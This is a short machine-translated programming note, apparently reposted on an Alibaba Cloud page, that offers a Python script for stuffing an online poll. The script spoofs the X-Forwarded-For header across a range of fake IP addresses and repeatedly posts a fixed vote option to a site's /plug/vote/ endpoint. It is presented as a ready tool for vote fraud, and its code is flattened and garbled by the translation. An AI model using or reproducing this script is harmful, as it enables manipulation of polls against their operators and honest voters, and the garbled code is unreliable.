[Python Learning notes] simple swipe voting function

Source: Internet
Author: User

Recently did not write, in fact, the way the cloud accumulated a lot, but no time to tidy up.

There are so many things to do.

Many votes do not need to log in, this brush is very simple. The principle is x-forwarded-for. Don't say much nonsense on the code

Import requestsimport timehost = ' xx ' def getsession (): ss = requests.session () ss.headers[' host ']= host Ss.header s[' Connection ']=r ' keep-alive ' ss.headers[' Accept ']=r ' */* ' ss.headers[' Origin ']=r ' http://zhengwen.hecul.com ' ss.he aders[' X-requested-with ']=r ' XMLHttpRequest ' ss.headers[' user-agent ']=r ' mozilla/5.0 (Windows NT 6.1; Win64; x64) applewebkit/537.36 (khtml, like Gecko) chrome/61.0.3163.91 safari/537.36 ' ss.headers[' Content-type ']= R ' application/x-www-form-urlencoded; Charset=utf-8 ' ss.headers[' Referer ']=host ss.headers[' accept-encoding ']=r ' gzip, deflate ' ss.headers[' Accept-langu Age ']=r ' zh-cn,zh;q=0.8,en;q=0.6,en-gb;q=0.4 ' return ssfor x in range (3,150): Try:time.sleep (3) SS = G        Etsession () # Simulates different devices on the same wifi. ss.headers["x-forwarded-for"] = ' 192.168.0. ' + str (x) # Gets the cookie Ss.get (host) # Sets the data length.   Can be obtained by the bottom data data= ' id=2&voteoption=101 ' ss.headers[' content-length '] = str (len data)     # send Data R = Ss.post (R '%s/plug/vote/'%host,data=data) print (r.text) except Exception as E:prin T (Str (e)) pass

[Python Learning notes] simple swipe voting

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.